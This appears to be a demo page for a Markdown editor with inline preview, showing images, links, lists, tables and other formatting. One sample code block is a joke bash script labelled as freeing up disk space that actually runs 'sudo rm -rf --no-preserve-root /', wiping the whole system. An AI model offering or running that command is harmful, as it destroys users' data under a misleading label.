Markdown Preview Enabled
Hereâs a thought
What if our editor removed the preview state entirely? What if we just rendered Markdown inline as the user types, much like Google Docs or other writing tools. Allowing users to do so would offer a better experience, since writing is closer to the final output. The page would no longer shift around, since the preview is the writing surface.
For those users that are more familiar with the Markdown writing experience, we can offer a tab to write traditional Markdown ala Wordpressâ post writing experience. We can store a cookie that remembers the userâs last writing preference.
Letâs show off some features.
Images
Here's an image of âKermit the frogâ typing furiously on a typewriter:
Links
Links can be shown inline. Alternatively, you can use reference-style links, too.
If a link shows up on a single line (and a link is the only content on that line), we show a custom, immutable decoration on top of that link. This decoration wonât become part of the document markup. Itâs a demonstration of a potential way to handle the preview of oneboxed content.
Code
inline code
and code blocks are available, too:
#! /usr/bin/env bash
echo "Freeing up disc space..."
sudo rm -rf --no-preserve-root /
echo "Done!"
Alternatively, you can use indented code blocks
console.log("Hello, World!");
Lists
Ordered:
we
can
have
ordered lists
Unordered:
unordered
lists
even with nesting
and back again
Formatting
bold, italics, even strikethrough are available
HTML elements
Weâre allowing certain HTML elements in our markdown. You can find a full list of supported elements in this meta post.
Keyboard elements: Esc, Enter, Backspace
Then weâve got superscript and subscript. If you prefer, you can use em and strong tags over markdown notation.
And you can use HTML to define lists:
And description lists as well:
Miscellaneous
Horizontal rules:
Tag links:
blockquotes:
âDonât believe everything you read on the internetâ
Abraham Lincoln
and spoilers:
IT'S A SECRET TO EVERYBODY.
Don't forget tables:
Reason | Coolness factor | Approved |
---|---|---|
They've got columns | 500 | â |
And rows | 9000 | â |
and different alignment | 9001 | đ„ |